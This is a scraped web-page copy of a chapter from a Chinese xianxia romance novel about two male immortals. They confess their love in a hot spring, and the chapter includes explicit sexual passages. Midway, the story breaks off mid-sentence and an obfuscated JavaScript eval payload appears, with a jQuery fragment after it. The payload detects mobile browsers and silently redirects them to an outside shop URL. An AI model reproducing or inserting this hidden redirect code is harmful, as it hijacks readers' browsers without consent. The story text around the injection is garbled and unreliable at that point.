33. 昔我(三十二)

作品:《师兄,请下凡

    河畔小舍房后即是山,山底凿出一露天泉池,水清见底,四面雾气蒸腾,形成一道天然屏障。


    东华素日连沐浴时都要坐的端端正正,此时因元神被酒气扰乱,故而只能任玄天将他剥的不着寸缕,而后斜靠在池畔,发丝散进水中,如漂着几绺藻荇。


    这姿态被玄天瞧见,只觉为东华宽衣时好容易压下的邪火又蠢圌蠢圌欲圌动。再看东华寒着脸,眼角又见微红,忍了几忍,方才按捺下去。和衣入水,手持绢布撩水为东华擦拭,又在水下摸索至他释放在东华体内的那一处入口,伸两个手指进去,东华眉心动了动,下意识的垂头去看。


    玄天手指慢慢撑开,水面顿时浮起大大小小白色点滴。


    东华扯起嘴角,一点一点笑了起来。


    这样一来,倒让玄天心里打起了鼓。玄天以为看到这样不堪入目的情形,东华面色会更难看,会发怒,会嫌恶,甚至会破天荒的给他一个“滚”字。


    可是并没有。


    东华只是看着那些白圌浊浮物,露出一个极其复杂的笑,而后很快收起,闭眼继续靠在原处。


    玄天在心中筹谋片刻,问他:“师兄,方才我说喜欢你,你可听见?”


    东华只是不言,一张秀雅的脸被热气缭绕,显得有些不真实。


    玄天靠近他道:“莫非适才我不够卖力,师兄不乐意,因此闷闷不乐?”


    这一招屡试不爽,果然东华睁开眼,见玄天不知何时已经沉了脸,眸中暗涛涌动。


    东华终于开了口,看着他道:“你可知你今日做了何事?”


    见他面色无波,玄天挑了挑眉,答下去:“与师兄交圌合。”


    东华点头,道:“好,你可知此事意味着什么?”


    “意味?师兄既问,我便据实相告。”玄天一本正经道,“天阳地阴,本为一体,破了鸿蒙方才分离。师兄取自天阳,而我取自地阴,你我本就是一体,拆解不得。你我今日所为,也正应了曾经素圌女所言颠倒阴阳的话。什么男女,什么雄雌,只有旁人才秉持这些理论,我却视作异端。”


    他越说越离谱,东华嘴角动了动:“可若我也秉持这些理论,你当如何?”


    玄天断然道:“不会,师兄虽然不说,但我知道,师兄一定也喜欢我。”


    东华定定的看着他,半晌又笑起来,反问道:“你当真以为,你知我懂我?”


    玄天怔了怔,似是被他问住了。


    东华抬起一条绵圌软无力的手臂,那手臂到半路便开始脱力打颤,又落进水中,拍起一汪热浪。东华轻轻道:“我愿意变成这副模样,我也愿意任你肆意凌辱?”


    玄天眯起眼,抬起东华下巴,迫东华与他对视:“师兄不妨直说。”


    东华这回毫不避讳与他视线交接,预备今日顺势将肺腑之言尽数倾倒,一时间连声音都硬了起来:“好,那我便说。千年前我伤重苏醒,想见你却遍寻不着,却得知你已叛逃,这滋味你知否?流言蜚语我一概不信,甫一相见便是你弑仙之景,这滋味你知否?我避入凡界,你追来纠缠也罢,何苦后来软圌禁于我?你一意孤行害我挖空心思,这滋味你又知否?想来你是不知,否则,我今日何至于落到如斯地步?”


    玄天一句一句听他说,渐渐松了手,目光未名。


    东华继续道:“师弟,我确是也喜欢你。但无论从前还是今日,你隐瞒我,羞辱我,曲解我,强迫我,我全不能忍!”


    说到最后一句,尾音虽已经有些不稳,但东华仍是目光笃定,层层薄雾都遮不住他眸中乍起的光彩。


    整个泉池一发静悄悄的,只那池底几个小泉眼里滚珠泛玉,翻破水花冒出来微有声响。


    玄天放开捏着他下巴的手,良久,开口道:“我一直懂师兄,只是师兄不懂我。”


    东华怔了怔,抬眼看他。


    东华没底气反驳他,这是真的。阔别千余年,他一直都固圌守原点停滞不前,以为自己保持着曾经的习性,一切就还能保留着当年的面貌。其实他知道的很,不独玄天回不去,连他也在不知不觉中也多少变了。


    不错,就连东极都有几个碎岛被海水日渐埋没,再也没能冒出来,更何况其他?


    身为先天神,也是对时间这二字束手无策。


    当年二人一前一后偕行万载,他只顾着开辟前方险阻,后面这个人何时变了,他都不及察觉。


    玄天见他语塞,伸手捉住他一根臂膊,轻而易举将他扯进怀中,一面拨开他面上湿淋淋的发丝,一面轻道:“师兄从来都是内外不一。纵有千言万语,总是不愿说。我若不连番逼圌迫,又怎能让你积攒到今日,终于吐出肺腑之言?”


    东华又落在他怀里,内外端庄全然不存,忍无可忍道:“那你成魔与弑仙,也是为了逼圌迫我?”捱过一日是一日有什么不好,总强过折腾一回,两败俱伤。


    玄天手上一顿,道:“师兄不要顾左右而言他。”


    东华立马反驳:“顾左右而言他的当是你才对。”


    二人对视片刻,玄天面上忽然露出些释然来,微微一笑:“师兄今日脾气不小。”


    东华一愣,缓了缓,才斥道:“我连番以礼相待,是你逼我如此。”


    玄天搂着他的手紧了紧,眸色浓重起来:“我不要师兄以礼待我,这样我与旁人有何分别!”


    东华被他噎的词穷:“你疯了,你简直……不可理喻。”


    他这一句无甚内容的话,似是让玄天不知道怎么接,于是两个搂搂抱抱的人,又开始大眼瞪小眼的僵持开来,互不言语。


    玄天气息渐渐有些粗重。东华觉得自己一颗心跳的厉害,忽然意识到,这本应是一个十分庄重的场面。


    至少不该如此。


    至少不该在这个所在。


    至少不该在这般情形下发生。


    这一日,一个说了他喜欢他,另一个说了他也喜欢他。


    东华不否认,他在很久之前便喜欢了玄天。诚如玄天所言,他口是心非,表里不一。心中情意愈发浓烈,流在面上就愈发淡然,长此以往连年堆积,又加之后来玄天叛逃,便更将之深埋。


    如今又揭开那一风舒云缓的时日。那时东华独自躲在云层后,并非在压抑对玄天的情意。实际上,他一遍一遍梳理之后,毫不避讳这个问题。


    他躲在云下冥思时,曾想过也许会有那么一日,两个互相心仪的人互诉情意,而后携手同归,往复于光阴之中。


    当时,他并不知道玄天对他有情,并且此情深不可测。


    当时,他将这些当做妄想。


    如今,虽已不是妄想,却也……举步维艰。


    热气熏蒸,烟雾迷蒙,两个人似是头脑都有些发昏。


    玄天忽然道:“师兄只要记得一件事。”


    东华缓缓道:“何事?”


    玄天一字一句道:“玄天,喜欢你。”


    东华垂眼,艰涩道:“我也喜欢你,可是……”


    “没有可是。”


    玄天骤然打断了他的慷慨陈词,而后像是怕遗漏了尾音似的,以唇圌舌堵住他的嘴,半点发声的余地都不给他。


    东华被他翻身压在池壁一侧,顿时水花四溅。他有些不适的皱起眉头,瞧见玄天双眼紧闭,眼睫剧烈的颤动,他瞬间安静下来。忽然觉得玄天说的句句在理,他与玄天既然是天造地设,那为何不能在一起?


    纵然知与懂这二字上两人多少仍有欠缺,可再没有一个人,能比他们更契合。


    玄天遗留之物从他体内浮出的那一刻,他那突兀一笑,虽多是苦闷与无奈,但他知道,那其中夹杂的还有一丝不易觉察的欣喜。


    那点欣喜,连玄天都没有觉察。


    东华蜷起手指,感到灵力在恢复,但下一刻,他重重闭上眼。


    此时此刻,不论仙与魔,只是东华和玄天,而已。


    东华陡然的回应让玄天浑身一震,继而受了鼓舞一般将这个吻加深加重。与从前东华忘情时的略微回应不同,这一次东华是颇为主动甚至刻意的与玄天交缠。


    这才是表白情意之后该有的样子。


    【不可说内容】


    玄天慢吞吞从东华体内退出来,但依然舍不得放开他。东华因酒力还在,又被他压在身下揉圌弄许久,脸上已见了疲态。因此,玄天只紧紧拥着他,虽无话,却也回味无穷。


    今次东华头一回将身心完全放纵,不声不响任由他抱,目光沉静,一味盯着他看。


    这般全心全意的对待让玄天心情大好,他一面享受着师兄久违的注目,一面体会着东华身上传来的温度。


    那是属于东华独有的体温。


    八卦炉中半是玄火,半是玄冰。火锻炼地阴浊气,冰内容凝筑天阳清气。


    因此,玄天体温比之其他神仙要高出几分,他能承受魔炎,一部分缘由也这里。


    而东华则相反,自出生时,体温便低了几分。


    玄天柔声道:“天阳之体,清而不冽,凉而不寒,师兄性情也是如此。终在今日将为数不多的火热给了我……即便师兄此刻要杀我,我也毫无二话。”


    东华眉心一动,道:“我怎会杀你。”


    玄天道:“是我失言,师兄勿怪。”而后徐徐勾起嘴角,道:“数千年前你我寄居离恨天时,某日我从神兵阁回来,拾得了师兄的一幅画,方知我对师兄竟怀了这等情意,如今,终于遂了夙愿。”


    东华因方才被玄天折腾的失魂落魄,此刻脑中仍不甚清明。寻思着自己的画不胜枚举,不知他看的是哪一幅。九重天神兵司,曾被称为神兵阁,最早里头只藏了几把上古神兵,而后三位道祖偶尔锻造出高阶兵器,便也藏了进去。如今倒是泛滥了,大小兵器分门别类全在其中,为天界一处重要行司。


    青龙剑便成自当年的神兵司,以东极一块寒铁石锤炼,恰逢东华斩杀一条为孽的青龙,以此龙之血为祭,故此得名。


    东华想到青龙剑,忽而目光一颤。他记起那一日剑成,玄天兴冲冲前来道喜。可自己看了与素圌女研讨所画的春圌宫图,正因肖想了师弟而惊惶无措,无颜面对,夺门而逃。


    拂落在地的画却落到了被肖想的人手中。


    原来,玄天和他一样,从那时起,便……


    东华嘴角动了动,道:“那时不懂这些,全因好奇而为之。”


    玄天轻声道:“在那之前,我便一心贪恋师兄,不愿看见师兄对旁人露出半点笑颜,直到带师兄初见半夕泉,那夜终于忍不住,趁师兄睡着搂了一回。不久之后见了那画,才知是对师兄这起了这等超然的情爱,倒是郁结了不少时日。”


    不顾世俗,不顾身份,此情此爱确是超然。


    东华内心遭受了极大的触动,张了张嘴,想要说什么。


    玄天却似乎有千言万语急着往外倾倒,自顾自的向下道:“我记得那夜师兄身上落梅十三片,额角一片,发间一片,衣襟上有四片……”


    “且慢。”


    玄天铭记细节之深刻的确令人咋舌,可东华却来不及回顾,急匆匆打断他:“那夜你并未睡着?不是……不是做梦才……”


    “我是假寐。”玄天一顿,慢慢抬起头:“当时师兄也……”


    旧事重提,啼笑皆非,二人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953024|193085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    交错的目光渐渐起了变化。


    一时间,竟有些唏嘘之意。


    东华感慨万千,全因“不懂”二字,竟生生蹉跎近万年。还好本上仙与他俱是先天神,有足够的命数来耗。若换成凡人,怕等到最后,只能怀揣心事老死而已。


    东华垂下眼睑,叹道:“若当年便将此事挑明,今日之事大抵是不会再有。”


    他便不会任由玄天独自守北极,兴许能够帝浊当日偷袭之事。若他不受伤,玄天一心堕入魔境时,他定然会全力劝阻。


    只是,玄天一心堕入魔境的原因,他仍不得而知。


    玄天却道:“若当年挑明,或许今日之事会来的更快。”


    东华愕然看向他。


    假设本上仙当年与他早早互诉情意,而后不顾一切尝了今日的事。如此,玄天仍要叛下天界?


    热浪包裹中,玄天气息有些急促,凑到他耳边低语:“师兄,我还想……”


    东华心中已被疑云团团包围,哪里还有什么心思与他做那档事。手上已有了力气,便抵在他胸前,意图推开。


    哪知玄天虽然衣袍尚在,却因去了腰带,此刻轻飘飘盖在原处。


    他力道轻微,这一推,堪堪撩圌开这两片衣袍。


    玄天精练结实的前胸便展现在他面前。


    玄天肤色莹白,骨骼匀称,此处本也颇为完美。只是贴近心房的所在,十分突兀的镌着一团丑陋深刻的伤疤。


    东华顿时将满心疑问抛在九霄云外,怔怔道:“这……是你在二番战事时受的伤?”


    玄天目光微有闪烁,随即若无其事拉好前襟,道:“只是小伤,早已痊愈,师兄不必挂心。”


    东华自然不信,看那疤痕,分明是致命的伤。执意道:“给我看看。”


    玄天忽而搂住他,笑道:“当年的事在我心中已经烟消云散,师兄也将它忘了可好。”


    东华诧异的看他一眼。


    烟消云散?你倒是心胸宽广,以为一笑就能泯恩仇。可当年因你死去的无辜仙友,却没有机会再说出同样的话。


    本上仙亲眼见他们在你剑下碎的血肉淋漓,怎能说忘就忘?


    这就是仙魔的差别?


    果然……本上仙还是听不得这些殊途之言。


    东华心中隐隐有些不自在,却因二人难得和洽了半日,不忍心打破。于是撒开手,不咸不淡的道:“随你吧。”


    玄天没有吭声,只深深的看过来。


    东华在他眼中似是看到了些许委屈之色,不由感到莫名其妙,可还是有些过意不去,补了一句:“是你不让看的。”


    玄天忙道:“我只是怕污了师兄的眼。”


    玄天横行霸道已久,向来都是高高在上的模样。此刻他这般小心翼翼,且本来生的俊美卓然,看在东华眼里别有一番动人之色。东华缓和了语声道:“怎会……也罢,你且告诉我,是哪个伤的你。”


    他一来好奇是哪个高人能将玄天伤的如此之重,二来则是为日后见了这个高人……见了又如何,人家斩妖除魔,本就做的大义凛然。


    于是,东华说完最后一个字,跟着就是一声喟叹,预备将这一页暂时掀过去。


    但玄天神情一滞,似是听到了十分不得了的话一般,整个人都木然起来。


    他似是不认识东华了似的,一遍一遍端详着东华的脸,试探着叫:“师兄?”


    玄天眸色本就略深,此刻更如点墨。东华被他看的毛圌骨圌悚圌然,在他松缓下来的臂弯里不自在的动了动,道:“怎的了?为何这样看着我。”


    玄天这才回过神,追问道:“师兄不知道我这伤是怎么来的?”


    东华不由想起当年那莫大的糗事,而这糗事的始作俑者正是玄天。没好气道:“你倒不记得了。我在无望谷见着你时,还未说几句话便……便昏厥了,之后的事一概不知,你被哪个高人所伤,我怎会知道。”


    东华自小被二师叔玉清圌真人垂青,常被玉清越过自己师父来训导,久而久之,浑然一副端正自持之态。唯有讲话这一点得了他师父太清圌真人的真传,无论喜怒哀乐,从来不紧不慢。


    他说一句,玄天神情莫测的听一句,似是在暗暗忖着什么。一番话讲完,玄天面上已平静如许。


    玄天释然道:“原来师兄……这样倒也不错。”


    东华只当他敷衍,淡淡道:“的确不错,我当日只动了动怒,便沉眠五百年。这份殊荣可说是古往今来,独我一个了。”


    玄天听出他话里的意思,不由在他脸颊轻啄了一下,宽慰道:“师兄大可放心。此事,天界绝对无人敢说师兄的不是。”


    东华道:“奇了,天界的事,你似乎比我知晓的还多。”


    玄天勾起嘴角道:“不敢,我只是深信师兄的威名罢了。我离开多年,如今都有些记不起天界的面貌了,师兄可否为我讲讲。”


    东华听他引开了不甚愉快的话题,也暗暗松了口气,待要讲述天界如今的盛况。不料正准备张口,却发现满心都是天界众仙争相编纂各种著作的盛况。便怏怏道:“没什么好说的,一众清修之人,能有什么变故。”


    玄天微微一笑:“果然还是魔境热闹,师兄可知后天是何日?”


    东华道:“我见金行域张灯结彩,你宫里更甚,莫非后天预备举行庆典?”


    玄天点头,道:“是我来魔境一千二百年的庆典。”


    一千二百年,听来只是五个字,可其中迟缓而曲折的变迁,只有亲身熬过这么久的人才知道。


    东华抬眼看他,他继续向下道:“今年之庆,我想要师兄留下。”